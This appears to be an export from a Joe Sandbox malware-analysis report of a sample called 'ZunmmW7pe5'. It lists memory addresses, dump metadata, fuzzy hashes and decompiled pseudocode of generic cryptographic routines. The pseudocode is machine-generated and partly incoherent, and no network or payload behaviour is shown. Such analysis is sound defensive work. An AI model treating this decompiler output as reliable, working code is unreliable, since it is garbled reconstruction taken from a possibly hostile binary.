0x7ff7e3738316
0x7ff7e373831a
0x7ff7e373831e
0x7ff7e3738322
0x7ff7e3738325
0x7ff7e3738328
0x7ff7e373832b
0x7ff7e373832d
0x7ff7e3738331
0x7ff7e3738334
0x7ff7e373833a
0x7ff7e373833c
0x7ff7e3738340
0x7ff7e3738343
0x7ff7e3738345
0x7ff7e3738347
0x7ff7e373834a
0x7ff7e3738350
0x7ff7e3738353
0x7ff7e3738357
0x7ff7e373835b
0x7ff7e373835e
0x7ff7e3738361
0x7ff7e3738365
0x7ff7e3738369
0x7ff7e373836c
0x7ff7e373836f
0x7ff7e3738373
0x7ff7e3738376
0x7ff7e3738379
0x7ff7e373837d
0x7ff7e3738384
0x7ff7e3738388
0x7ff7e373838a
0x7ff7e373838e
0x7ff7e3738397
0x7ff7e373839b
0x7ff7e373839f
0x7ff7e37383a2
0x7ff7e37383a6
0x7ff7e37383aa
0x7ff7e37383ae
0x7ff7e37383b1
0x7ff7e37383b4
0x7ff7e37383b8
0x7ff7e37383bb
0x7ff7e37383be
0x7ff7e37383c2
0x7ff7e37383c6
0x7ff7e37383cd
0x7ff7e37383d1
0x7ff7e37383d3
0x7ff7e37383d7
0x7ff7e37383db
0x7ff7e37383e3
0x7ff7e37383e6
0x7ff7e37383ea
0x7ff7e37383ee
0x7ff7e37383f1
0x7ff7e37383f5
0x7ff7e37383f9
0x7ff7e37383fd
0x7ff7e3738406

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb6c2cc65f1633d757ceba21197f5e620c5f9b472ac608316cdc2353c85a3502
Instruction ID: daa7c621541a32328170b621e96eb433eec60d1c755b21c47cc908cb4bc0447a
Opcode Fuzzy Hash: bb6c2cc65f1633d757ceba21197f5e620c5f9b472ac608316cdc2353c85a3502
Instruction Fuzzy Hash: B851B5B39253408FD7B8CF29F19080AB7B4F358B687219519DB8A83A20D339E957CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372BAB0 Relevance: .1, Instructions: 121
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00007FF77FF7E372BAB0(long long __rax, long long __rbx, signed int* __rcx, char* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* __rdi;
				void* _t115;
				unsigned int _t117;
				unsigned int _t121;
				void* _t122;
				void* _t123;
				long long _t128;
				signed long long _t130;
				signed long long _t137;
				void* _t142;
				void* _t149;

				_t139 = __rdx;
				_t128 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_t130 = __rcx;
				 *((char*)(__rcx +  &(__rcx[7]))) = 0x80;
				_t115 = ( *__rcx & 0x0000003f) + 1;
				if (_t115 - 0x38 > 0) goto 0xe372baf1;
				r8d = 0x38;
				r8d = r8d - _t115;
				E00007FF77FF7E373B860(_t115, 0, _t122, _t123,  &(__rcx[7]) + __rax, __rdx, _t142, _t149);
				goto 0xe372bb38;
				r8d = 0x40;
				r8d = r8d - _t115;
				E00007FF77FF7E373B860(_t115, 0, _t122, _t123, _t130 + 0x1c + _t128, _t139, _t142, _t149);
				_t137 = _t130;
				if (E00007FF77FF7E372A630(_t137, _t130 + 0x1c) != 0) goto 0xe372bc2f;
				 *((long long*)(_t130 + 0x1c)) = _t128;
				 *((long long*)(_t130 + 0x24)) = _t128;
				 *((long long*)(_t130 + 0x2c)) = _t128;
				 *((long long*)(_t130 + 0x34)) = _t128;
				 *((long long*)(_t130 + 0x3c)) = _t128;
				 *((long long*)(_t130 + 0x44)) = _t128;
				 *((long long*)(_t130 + 0x4c)) = _t128;
				_t121 =  *(_t130 + 4) << 0x00000003 |  *_t130 >> 0x0000001d;
				_t117 = _t137 * 8;
				 *(_t130 + 0x57) = _t121;
				 *((char*)(_t130 + 0x54)) = _t121 >> 0x18;
				 *((char*)(_t130 + 0x55)) = _t121 >> 0x10;
				 *((char*)(_t130 + 0x56)) = _t121 >> 8;
				 *((char*)(_t130 + 0x58)) = _t117 >> 0x18;
				 *((char*)(_t130 + 0x59)) = _t117 >> 0x10;
				 *(_t130 + 0x5b) = _t117;
				 *((char*)(_t130 + 0x5a)) = _t117 >> 8;
				if (E00007FF77FF7E372A630(_t130, _t130 + 0x1c) != 0) goto 0xe372bc2f;
				 *__rdx =  *(_t130 + 0xb) & 0x000000ff;
				 *((char*)(__rdx + 1)) =  *(_t130 + 0xa) & 0x000000ff;
				 *((char*)(__rdx + 2)) =  *(_t130 + 8) >> 8;
				 *((char*)(__rdx + 3)) =  *(_t130 + 8) & 0x000000ff;
				 *((char*)(__rdx + 4)) =  *(_t130 + 0xf) & 0x000000ff;
				 *((char*)(__rdx + 5)) =  *(_t130 + 0xe) & 0x000000ff;
				 *((char*)(__rdx + 6)) =  *(_t130 + 0xc) >> 8;
				 *((char*)(__rdx + 7)) =  *(_t130 + 0xc) & 0x000000ff;
				 *((char*)(__rdx + 8)) =  *(_t130 + 0x13) & 0x000000ff;
				 *((char*)(__rdx + 9)) =  *(_t130 + 0x12) & 0x000000ff;
				 *((char*)(__rdx + 0xa)) =  *(_t130 + 0x10) >> 8;
				 *((char*)(__rdx + 0xb)) =  *(_t130 + 0x10) & 0x000000ff;
				 *((char*)(__rdx + 0xc)) =  *(_t130 + 0x17) & 0x000000ff;
				 *((char*)(__rdx + 0xd)) =  *(_t130 + 0x16) & 0x000000ff;
				 *((char*)(__rdx + 0xe)) =  *(_t130 + 0x14) >> 8;
				 *((char*)(__rdx + 0xf)) =  *(_t130 + 0x14) & 0x000000ff;
				 *((char*)(__rdx + 0x10)) =  *(_t130 + 0x1b) & 0x000000ff;
				 *((char*)(__rdx + 0x11)) =  *(_t130 + 0x1a) & 0x000000ff;
				 *((char*)(__rdx + 0x12)) =  *(_t130 + 0x18) >> 8;
				 *((char*)(__rdx + 0x13)) =  *(_t130 + 0x18) & 0x000000ff;
				return 0;
			}

0x7ff7e372bab0
0x7ff7e372bab0
0x7ff7e372bab0
0x7ff7e372bab5
0x7ff7e372babf
0x7ff7e372bacc
0x7ff7e372bad1
0x7ff7e372bad8
0x7ff7e372bada
0x7ff7e372bae0
0x7ff7e372baea
0x7ff7e372baef
0x7ff7e372baf1
0x7ff7e372baf7
0x7ff7e372bb01
0x7ff7e372bb0a
0x7ff7e372bb14
0x7ff7e372bb1c
0x7ff7e372bb20
0x7ff7e372bb24
0x7ff7e372bb28
0x7ff7e372bb2c
0x7ff7e372bb30
0x7ff7e372bb34
0x7ff7e372bb45
0x7ff7e372bb47
0x7ff7e372bb50
0x7ff7e372bb56
0x7ff7e372bb5e
0x7ff7e372bb6a
0x7ff7e372bb72
0x7ff7e372bb7a
0x7ff7e372bb82
0x7ff7e372bb88
0x7ff7e372bb92
0x7ff7e372bb9c
0x7ff7e372bba2
0x7ff7e372bbab
0x7ff7e372bbb2
0x7ff7e372bbb9
0x7ff7e372bbc0
0x7ff7e372bbc9
0x7ff7e372bbd0
0x7ff7e372bbd7
0x7ff7e372bbde
0x7ff7e372bbe7
0x7ff7e372bbee
0x7ff7e372bbf5
0x7ff7e372bbfc
0x7ff7e372bc05
0x7ff7e372bc0c
0x7ff7e372bc13
0x7ff7e372bc1a
0x7ff7e372bc23
0x7ff7e372bc2a
0x7ff7e372bc3e

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd186fc85f37a6da8a7c491971e30b300ed25aeec687f12c2b6ded701b905aab
Instruction ID: f332c03e614ad69718b769d685839b4a32a0ffb4b77f55a448eb91770590ab77
Opcode Fuzzy Hash: dd186fc85f37a6da8a7c491971e30b300ed25aeec687f12c2b6ded701b905aab
Instruction Fuzzy Hash: 6C516F232196C08EC359CF7DA4501ADBFB1D32AB0874880AADBD98774BD52CD669C771

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3738F60 Relevance: .1, Instructions: 120
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00007FF77FF7E3738F60(void* __edx, long long __rbx, signed int __rcx, signed int __rdx, long long __rdi, long long __rsi, signed char* __r8, char* __r9, void* __r10) {
				unsigned int _t60;
				unsigned int _t69;
				unsigned int _t108;
				unsigned int _t115;
				void* _t125;
				signed int _t128;
				long long _t137;
				void* _t143;

				 *((long long*)(_t143 + 8)) = __rbx;
				 *((long long*)(_t143 + 0x10)) = _t137;
				 *((long long*)(_t143 + 0x18)) = __rsi;
				 *((long long*)(_t143 + 0x20)) = __rdi;
				r10d = __r8[1] & 0x000000ff;
				_t128 = __rcx;
				r11d = __edx;
				r10d = __r8[2] & 0x000000ff;
				r10d = 0x10;
				_t125 = r11d;
				r11d = 0xff;
				if (_t125 != 0) goto 0xe3739043;
				_t12 = _t128 + 0x44; // 0x143
				_t60 = (((( *__r8 & 0x000000ff) << 0x00000008 | r10d) << 0x00000008 | r10d) << 0x00000008 | __r8[3] & 0x000000ff) ^  *_t12;
				r9d = _t60 & 0x0000ffff;
				r14d = _t60;
				r8d = _t60 >> 0x00000008 & 0x0000ffff;
				r9w = r9w & r11w;
				r8w = r8w & r11w;
				if (_t125 != 0) goto 0xe3738fe0;
				goto 0xe37390b2;
				asm("o16 nop [eax+eax]");
				_t69 = ( *((intOrPtr*)(__rcx + 0x48 + __rdx * 4)) +  *((intOrPtr*)(__rcx + 0x448 + __rcx * 4)) ^  *(__rcx + 0x848 + __rcx * 4)) +  *((intOrPtr*)(__rcx + 0xc48 + __rcx * 4)) ^ ((((__r8[4] & 0x000000ff) << 0x00000008 | __r8[5] & 0x000000ff) << 0x00000008 | __r8[6] & 0x000000ff) << 0x00000008 | __r8[7] & 0x000000ff) ^  *__rcx;
				r9d = _t69 & 0x0000ffff;
				r14d = _t69;
				r8d = _t69 >> 0x00000008 & 0x0000ffff;
				r9w = r9w & r11w;
				r8w = r8w & r11w;
				if (_t125 != 0) goto 0xe3739050;
				_t115 =  *(__rcx + 0x40) ^ ( *((intOrPtr*)(__rcx + 0x48 + __rdx * 4)) +  *((intOrPtr*)(__rcx + 0x448 + __rcx * 4)) ^  *(__rcx + 0x848 + __rcx * 4)) +  *((intOrPtr*)(__rcx + 0xc48 + __rcx * 4)) ^ r14d;
				_t108 =  *(__rcx + 0x44) ^ r14d;
				 *__r9 = _t108 >> 0x18;
				 *((char*)(__r9 + 1)) = _t108 >> 0x10;
				 *((char*)(__r9 + 2)) = _t108 >> 8;
				 *((char*)(__r9 + 4)) = _t115 >> 0x18;
				 *((char*)(__r9 + 5)) = _t115 >> 0x10;
				 *((char*)(__r9 + 6)) = _t115 >> 8;
				 *(__r9 + 3) = _t108;
				 *(__r9 + 7) = _t115;
				return 0;
			}

0x7ff7e3738f60
0x7ff7e3738f65
0x7ff7e3738f6a
0x7ff7e3738f6f
0x7ff7e3738f76
0x7ff7e3738f7b
0x7ff7e3738f83
0x7ff7e3738fa0
0x7ff7e3738fc4
0x7ff7e3738fcc
0x7ff7e3738fcf
0x7ff7e3738fd5
0x7ff7e3738fd7
0x7ff7e3738fe0
0x7ff7e3738fe9
0x7ff7e3738fed
0x7ff7e3738ff3
0x7ff7e3738ff7
0x7ff7e3738ffe
0x7ff7e373903a
0x7ff7e3739041
0x7ff7e3739046
0x7ff7e3739050
0x7ff7e3739059
0x7ff7e373905d
0x7ff7e3739063
0x7ff7e3739067
0x7ff7e373906e
0x7ff7e37390aa
0x7ff7e37390b7
0x7ff7e37390be
0x7ff7e37390cb
0x7ff7e37390d2
0x7ff7e37390da
0x7ff7e37390e2
0x7ff7e37390ea
0x7ff7e37390f2
0x7ff7e37390f7
0x7ff7e37390fa
0x7ff7e3739104

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f33222409f0fba557f592a374b7eb1d770204ec98ca604299902abb195fca0ed
Instruction ID: a1d35bac1d6e8237f232a775143b0b0c179d4c8da66d729d43614d7a3828a76a
Opcode Fuzzy Hash: f33222409f0fba557f592a374b7eb1d770204ec98ca604299902abb195fca0ed
Instruction Fuzzy Hash: 0941F5332284E18BC35D8F29945057D7FE0F399749B48822AEBC5E7785C63CD924D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3737EF0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51de6eeaea6f2bafbeba55839433141a6eef23953819ae83a2fcf40f35b8d68b
Instruction ID: 39819b4230c66f6eb389eb8f0fce48c89568b9bd8c1e05622889a108b844ab4e
Opcode Fuzzy Hash: 51de6eeaea6f2bafbeba55839433141a6eef23953819ae83a2fcf40f35b8d68b
Instruction Fuzzy Hash: 9551AB2360D6D199C706CB7691045BEBFE0E74A790B8E80A3DFD817647CA3CD26AD712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37368B0 Relevance: .1, Instructions: 118
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E37368B0(void* __rcx, void* __r9) {

				if ((r8b & 0x00000007) == 0) goto 0xe37368d2;
				return 0xffffffce;
			}

0x7ff7e37368c2
0x7ff7e37368d1

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc0b0c74fa4ae3644145cd2fc3dfbf87dcf75057ad76a6046a8f48c3110e499e
Instruction ID: 7cdcd18ebec367130c4f3bf20bf992ca9e316e7be301e61f323fe9679ccca635
Opcode Fuzzy Hash: fc0b0c74fa4ae3644145cd2fc3dfbf87dcf75057ad76a6046a8f48c3110e499e
Instruction Fuzzy Hash: AA51EE2320D7E089C706CB76A1441AEBFB4E71E790B8E8197DBE847743CA2CD269D711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3736180 Relevance: .1, Instructions: 114
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3736180(void* __rcx, void* __r9) {

				if ((r8b & 0x00000007) == 0) goto 0xe37361a2;
				return 0xffffffce;
			}

0x7ff7e3736192
0x7ff7e37361a1

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ec159ecaac3e070ca50c4923cc3307c889e76c5062599dc70046ac0d02c5da
Instruction ID: 7eeb1aed6bfe796987b71576fc693411dc0b8771d31053f370108b927beee9b8
Opcode Fuzzy Hash: c4ec159ecaac3e070ca50c4923cc3307c889e76c5062599dc70046ac0d02c5da
Instruction Fuzzy Hash: 8551D02320D7D189C706CB76A1441AEBFB4E71E790B8E81A3DBE857643CA2CD269C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3737520 Relevance: .1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3737520(void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, signed int* __r8, void* __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				signed char _t49;
				signed int _t52;
				void* _t53;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_a32 = __rdi;
				_t49 =  *(__rdx + 0xf) & 0xf;
				r9d =  *(__rbx + __rdx) & 0x000000ff;
				r11d = r9b & 0xffffffff;
				r11b = r11b >> 4;
				_t53 = __rbx - 0xf;
				if (_t53 == 0) goto 0xe37375bd;
				r9d = r9b & 0xffffffff;
				r8d = _t49 & 0x000000ff;
				r8b = r8b & 0x0000000f;
				r9d = r9d & 0x0000000f;
				r9d = r11b & 0xffffffff;
				r8d = _t49 & 0x000000ff;
				r8b = r8b & 0x0000000f;
				_t52 = r8b & 0xffffffff;
				if (_t53 >= 0) goto 0xe3737560;
				 *__r8 = _t52;
				__r8[0] = _t52;
				__r8[0] = _t52;
				__r8[0] = _t52;
				__r8[1] = _t52;
				__r8[1] = _t52;
				__r8[1] = _t52;
				__r8[2] = _t52;
				__r8[2] = _t52;
				__r8[2] = _t52;
				__r8[2] = _t52;
				__r8[3] = _t52;
				__r8[3] = _t52;
				__r8[3] = _t52;
				__r8[1] = r10b;
				__r8[3] = _t49;
				return _t49;
			}

0x7ff7e3737520
0x7ff7e3737525
0x7ff7e373752a
0x7ff7e373752f
0x7ff7e3737541
0x7ff7e3737560
0x7ff7e3737565
0x7ff7e3737569
0x7ff7e373756d
0x7ff7e3737571
0x7ff7e3737576
0x7ff7e373757e
0x7ff7e3737585
0x7ff7e373758d
0x7ff7e37375c0
0x7ff7e37375c8
0x7ff7e37375cf
0x7ff7e37375dd
0x7ff7e3737607
0x7ff7e3737623
0x7ff7e373762c
0x7ff7e3737636
0x7ff7e3737640
0x7ff7e373764a
0x7ff7e3737654
0x7ff7e373765e
0x7ff7e3737668
0x7ff7e3737672
0x7ff7e373767c
0x7ff7e3737686
0x7ff7e3737690
0x7ff7e373769a
0x7ff7e37376a4
0x7ff7e37376a7
0x7ff7e37376ab
0x7ff7e37376b5

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8bc98d5d2bd05e1cb4bf2d36a2b84628639f35f7ef2c78c0c11377aef436e10
Instruction ID: db314b1b72f62cbc46e5db389132fc195603c32f45d886359818d1df3c0f3cc6
Opcode Fuzzy Hash: a8bc98d5d2bd05e1cb4bf2d36a2b84628639f35f7ef2c78c0c11377aef436e10
Instruction Fuzzy Hash: E94125533156C58BEF18CA26A5A107AAB41F365BC1B08E42FCF8A17B02CA3CD024C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3717FD0 Relevance: .1, Instructions: 104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3717FD0(signed int __ecx, void* __rax, char* __rcx, void* __rdx, void* __r8, void* __r9) {
				signed char _t48;

				r9d =  *(__rdx + 7) & 0x000000ff;
				r8d =  *(__rdx + 0xf) & 0x000000ff;
				_t48 = 8 - (__ecx & 0x00000008);
				 *__rcx = _t48 & 0x000000ff;
				 *(__rcx + 7) = _t48;
				 *(__rcx + 6) = _t48;
				 *(__rcx + 5) = _t48;
				 *(__rcx + 4) = _t48;
				 *(__rcx + 3) = _t48;
				 *(__rcx + 2) = _t48;
				 *(__rcx + 1) = _t48;
				 *((intOrPtr*)(__rcx + 8)) = r9b;
				 *(__rcx + 0xf) = _t48;
				 *(__rcx + 0xe) = _t48;
				 *(__rcx + 0xd) = _t48;
				 *(__rcx + 0xc) = _t48;
				 *(__rcx + 0xb) = _t48;
				 *(__rcx + 0xa) = _t48;
				 *(__rcx + 9) = _t48;
				return _t48;
			}

0x7ff7e3717fd7
0x7ff7e3717fdc
0x7ff7e371808a
0x7ff7e37180a6
0x7ff7e37180b0
0x7ff7e37180bb
0x7ff7e37180c6
0x7ff7e37180d1
0x7ff7e37180dc
0x7ff7e37180e7
0x7ff7e37180f2
0x7ff7e37180f9
0x7ff7e3718101
0x7ff7e371810c
0x7ff7e3718117
0x7ff7e3718122
0x7ff7e371812d
0x7ff7e3718138
0x7ff7e3718143
0x7ff7e3718147

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b79b6de12b2ada6463a758a0ef57e180fb4e656660e6a01602a7aa979e1cecc3
Instruction ID: 88106ff4d89d01f936c0e4425b6ab2a18df89519f5d5f6c5b747cbe79b418673
Opcode Fuzzy Hash: b79b6de12b2ada6463a758a0ef57e180fb4e656660e6a01602a7aa979e1cecc3
Instruction Fuzzy Hash: C331679221A3E84FCA6146EE1865AED7FE4D127B8274DE156DBEC17343D01DC258C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3720460 Relevance: .1, Instructions: 83
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3720460(long long __rbx, void* __rcx, void* __rdx, void* __r8, long long _a32) {

				_a32 = __rbx;
				if ( *((intOrPtr*)(__rcx + 8)) ==  *((intOrPtr*)(__rdx + 8))) goto 0xe3720482;
				return 0xfffffffc;
			}

0x7ff7e3720460
0x7ff7e3720474
0x7ff7e3720481

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 292b34ea04606392cb263cc7627915a2d8516a2af77aa2fa7955621c83bb84b0
